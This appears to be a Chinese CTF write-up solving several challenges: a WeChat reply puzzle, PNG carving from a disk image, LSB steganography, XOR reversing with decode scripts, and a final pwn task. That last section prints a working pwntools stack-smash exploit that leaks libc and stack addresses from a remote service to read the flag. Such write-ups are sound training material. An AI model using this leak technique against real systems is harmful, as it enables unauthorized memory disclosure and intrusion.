解答:
(1) 提示让关注公众号,关注后在公众号里边输入“青龙之站”之后如下图所示;
(2) 回复1f5f2e进入下一关,如下图所示;
(3) 回复4c361b进入下一关,如下图所示;
(4) 回复7642a4进入下一关,如下图所示;
(5) 回复aac333得flag,如下图所示;
(6) Flag:*flag{hello_wangdingbei}
解答:
(1) 下载题目是.disk文件,第一反应是linux虚拟磁盘,如下图所示;
(2) (题目提示词频是损坏的,那么linux挂载肯定没用)使用winHex打开文件,如下图所示;
(3) 在winhex中的第196280行发现了png的文件头,如图下所示;
备注:png 16进制文件头以89504E47开头的
(4) 进行手动查找发现了俩个IHDR的png图片字样另存在如下图所示;
① 第一张图片:
备注:需要填充png尾
② 第二张图片:
备注:需要填充png头和尾
③ 使用PS对俩张图片进行拼接,如下图所示;
(5) Flag:flag{0b008070-eb72-4b99-abed-092075d72a40}
解答:
(1) Stegsolve打开图片,如下图所示;
(2) 打开Stegsolve选择Data Extract查看图片通道,如下图所示;
(3) 选择0通告发现是LSB隐写,如下图所示;
(4) 分别把alpha,green和blue的0通道另存为再进行异或处理,最终在alpha和green的中发现flag如下图所示;
(5) Flag:flag{7bb6db9f-d2eb-4e69-8dee-0002ce1e07f9}
解答:
(1) 题目给了我们一个Linux下的可执行程序,放在虚拟机下运行结果如下图所示:
(2) 拖到IDA里面尝试分析下程序的逻辑,经过分析程序主要处理两个函数,主要逻辑如下:(由于长度关系只截取了部分)
① main函数21次调用了encode函数,然后将返回的结果按照字符打印出来如下图所示;
② encode函数按照参数a1的数值做对应的亦或运算,并返回char类型的结果如下图所示:
(3) 查看亦或部分对应的数据段数据和对应的hex数据如下图所示;
数据段数据:
数据段数据hex数据:
这里可以看到这段数据大部分都是可见的字符,因此可以假设flag就在这段数据中,但是顺序是被打乱的,而正确的顺序就是main函数中的顺序,即
```c encode : return flag[i]^xor[i] main : list[] <- 记录着正确的flag打印顺序 print encode(list[i]) ```
(4) 按照上面的理论,可得到如下的分组:
``` flag = ['a','g','i','n','b','e','f','j','m','l','{','z','}','_'] xor = ['L','Y','B','','q','4','','','','','',''] #不可见字符没有打印出来 list = [6,9,0,1,0xa,0,8,0,0xb,2,3,1,0xd,4,5,2,7,2,3,1,0xc] ```
(5) 最后运算脚本:
```python result = '' for i in range(0,21): result += flag[list[i]] print result ```
(6) Flag:flag{amazing_beijing}
解答:
(1) 把题目放入linux kali中试运行一下,如下图所示;
(2) 把得到的数值进行ASCII转换,如下图所示;
(3) 解密得到内容使用脚本运行得到flag,如下图所示;
(4) Flag:flag{d_with_a_template_phew}
(5) 脚本如下:
tup = 'K@LKVHr[DXEsLsYI@\tmpMYIr\EIZQ' flag = "" for i in range(len(tup)): if i % 2 == 0: flag += chr(ord(tup[i])^0x2D) else: flag += chr(ord(tup[i])^0x2C) print flag
解答:
(1) 这题就是简单的stack smash加强版。所以把flag读到栈上面了,所以要leak三次
(2) 第一次leak出puts的地址,减去偏移,得到libc基址
(3) 第二次用environ leak出栈地址
(4) 第三次leak出flag
(5) 因此得flag:
flag{936dd5d1-457a-413d-ae5d-bbd55136e524}
(6) 脚本如下:
#!/usr/bin/python # -*- coding: utf-8 -*- from pwn import * context.log_level='debug' libc = ELF('./libc-2.23.so') p = remote('106.75.90.160', 9999) payload = 'a'* 296 + p64(0x602020)*3 p.sendline(payload) p.recvuntil('stack smashing detected ***: ') puts_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00') libc_base = puts_addr - libc.symbols['puts'] environ_addr = libc_base + libc.symbols['_environ'] payload = 'a'*296 + p64(environ_addr)*3 p.sendline(payload) p.recvuntil('stack smashing detected ***: ') stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00') p.recvuntil('Please type your guessing flag') payload = 'a'*296 + p64(stack_addr-0x168)*3 p.sendline(payload) p.interactive()